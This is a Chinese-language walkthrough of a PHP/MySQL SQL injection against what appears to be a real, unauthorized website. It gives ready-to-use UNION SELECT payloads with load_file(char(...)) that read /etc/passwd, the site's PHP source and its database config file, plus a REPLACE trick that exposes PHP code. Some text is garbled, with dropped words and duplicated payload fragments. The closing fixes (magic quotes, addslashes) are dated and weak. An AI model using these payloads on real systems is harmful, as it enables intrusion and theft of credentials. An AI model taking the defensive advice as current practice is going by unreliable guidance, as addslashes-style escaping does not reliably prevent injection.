PHP注入实例

php注入技巧 

　听承诺说ＣＡＳＩ出２.0了，而且承诺也给了一个有的地址，正好没事就测试了一下，最近非常郁闷，学不下去，正好今天承诺勾起了我学习php的美好时光，看看自己还能不能搞这样的站吧.

过程：
承诺给的地址是
很标准的php注入形式，我们也按照标准的php注入方法来进行注入，首先再后面加一个',

 

如图１

他告诉我们２个方面的信息，第一是magicquotesgpc = off
第二个就是web路径/home/newgt/showboard.php

再提交语句以前我们还是先来说明一下php注入的原理和一个小例子，php注入就是利用变量过滤不足造成的

看看下面两句SQL语句：

①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id

　　两种写法在各种程序中都很普遍，但安全性是不同的，第一句由于把变量$id放在一对单引号中，这样使得我们所提交的变量都变成了字符串，即使包含了正确的SQL语句，也不会正常执行，而第二句不同，由于没有把变量放进单引号中，那我们所提交的一切，只要包含空格，那空格后的变量都会作为SQL语句执行，我们针对两个句子分别提交两个成功注入的畸形语句，来看看不同之处。

① 指定变量$id为：
1' and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为：
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'

②指定变量$id为：
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为：
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1

　　看出来了吗？由于第一句有单引号，我们必须先闭合前面的单引号，这样才能使后面的语句作为SQL执行，并要注释掉后面原SQL语句中的后面的单引号，这样才可以成功注入，如果php.ini中magicquotesgpc设置为on或者变量前使用了addslashes()函数，我们的就会化为乌有，但第二句没有用引号包含变量，那我们也不用考虑去闭合、注释，直接提交就OK了。

好了现在我们就要按照angel的方法来提交语句了

如图２

再这里我们可以得知７和９这两个地方是文本的，也就是说可以显示我们想要的文件的内容,下面我们就是要读取器上的文件了从web路径上看这台机器应该是ＵＮＩＸ的，那么我们的目标就是拿到/etc/passwd这个文件了

我们知道，在SQL语句中，可以使用各种MySQL内置的函数，经常使用的就是DATABASE()、USER()、SYSTEMUSER()、SESSIONUSER()、CURRENTUSER()这些函数来获取一些系统的信息，还有一个应用得比较多的函数，就是loadfile()，该函数的作用是读入文件，并将文件内容作为一个字符串返回。
　　看到这里，应该可以想到我们可以做什么了，就是读取一些机密文件，但是也是有条件限制的：

• 欲读取文件必须在器上
• 必须指定文件完整的路径
• 必须有权限读取并且文件必须完全可读
• 欲读取文件必须小于 maxallowedpacket

　　如果该文件不存在，或因为上面的任一原因而不能被读出，函数返回空。比较难满足的就是权限，在windows下，如果NTFS设置得当，是不能读取相关的文件的，当遇到只有administrators才能访问的文件，users就别想loadfile出来。

　　在实际的注入中，我们有两个难点需要解决：

• 绝对物理路径
• 构造有效的畸形语句

　　在很多PHP程序中，当提交一个错误的Query，如果displayerrors = on，程序就会暴露WEB目录的绝对路径，只要知道路径，那么对于一个可以注入的PHP程序来说，整个器的安全将受到严重的威胁。构造语句已经是小意思了。

我们这里用的loadfile(char())这个函数我们需要把/etc/passwd转化成１６进制的我们请出asc2chr这个来帮我们完成转化工作

如图三

我们很轻松的就得到了/etc/passwd的１６进制格式

下面就是构建语句了file(char(47,101,116,99,47,112,97,115,115,119,100)),6,5,4,3,2,1">%20and%201=2%20union%20select%2050,9,8,loadfile(char(47,101,116,99,47,112,97,115,115,119,100)),6,5,4,3,2,1   

 很轻松就得到了/etc/passwd的文件，大家看一下图片，

如图４

下面我们就要想办法来读取config的配置文件了，因为前面我们得到了web的路径所以读取就很轻松了

构建语句file(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),6,5,4,3,2,1">%20and%201=2%20union%20select%2050,9,8,loadfile(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),6,5,4,3,2,1 

如图五

可是和我们想的不一样，并没有得到php源，原来php的再器端执行了，这个时候我们可以用angel的办法利用into　outfile来把要读取的文件备份到器上，可是我没有这样做，因为我不想局限于别人的思路我认为my一定有强大的函数能帮助我们的,记得以前学习php的时候学字符串函数的时候学到了这样一个函数就是replace()他的作用就是把指定的字符串换成我们想要的字符串，我觉得一定能够利用,

附:replace()函数原形

REPLACE(str,fromstr,tostr)返回字符串str，其字符串from-str的所有出现有字符串to-str代替

my>SELECT REPLACE('','w','Ww');

->'WwW'

到这里我就想了php源的固定形式是这样的，

那么我们如果打破规则，把 中的<变成别的字符那么就应该能够显示了吧，按照这个思路我够建语句如下

file(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1">%20and%201=2%20union%20select%2050,9,8,replace(loadfile(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1

char(60) 是<,char(32)是空格,

他的意思就是把换成空格，我们已经成功了，大家看图，
如图６

好了到这里我们的目的就是读取config的文件了他的config文件是/home/newgt/localdata.php,

够建语句如下

file(char(47,104,111,109,101,47,110,101,119,103,116,47,108,111,99,97,108,100,97,116,97,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1">%20and%201=2%20union%20select%2050,9,8,replace(loadfile(char(47,104,111,109,101,47,110,101,119,103,116,47,108,111,99,97,108,100,97,116,97,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1 

  如图７我们就已经得到了config的文件了,

如图７

到这里我们的思路就应该清楚了，我就不在往下做了，如果大家感兴趣的话可以参考我以前的文章来继续渗透，

这里我们已经能够清楚的看到一个小小的注入就能引出这么大的，希望国内的人重视起来,下面是解决办法防范可以从两个方面着手，一个就是器，二个就是本身，介绍器配置的文章很多了，无非就是把magicquotesgpc设置为On，displayerrors设置为Off，这里也就不在多说，既然本文接触都是程序的问题，我们还是从程序本身寻找原因。
　　如果说php比asp易用，安全，从内置的函数就可以体现出来。如果是整形的变量，只需使用一个intval()函数即可解决问题，在执行查询之前，我们先处理一下变量，如下面的例子就是很安全的了：

$id = intval($id);
myquery("SELECT * FROM article WHERE articleid='$id'");

　　或者这样写：

myquery("SELECT * FROM article WHERE articleid=".intval($id)."")

　　不管如何构造，最终还是会先转换为整形猜放入的。很多大型程序都是这样写，非常简洁。
　　字符串形的变量也可以用addslashes()整个内置函数了，这个函数的作用和magicquotesgpc一样，使用后，所有的 ' (单引号), " (双引号), (反斜线) and 空字符会自动转为含有反斜线的字符。而且新版本的php，就算magicquotesgpc打开了，再使用addslashes()函数，也不会有冲突，可以放心使用。例子如下：

$username = addslashes($username);
myquery("SELECT * FROM members WHERE userid='$username'");

　　或者这样写：

myquery("SELECT * FROM members WHERE userid=".addslashes($username)."")

　　使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把""、"%"转换为"""%"就可以了，当然也不要忘记使用addslashes()函数。具体如下：

$keywords = addslashes($keywords);
$keywords = strreplace("","",$keywords);
$keywords = strreplace("%","%",$keywords);

好了，这篇文章就写到这里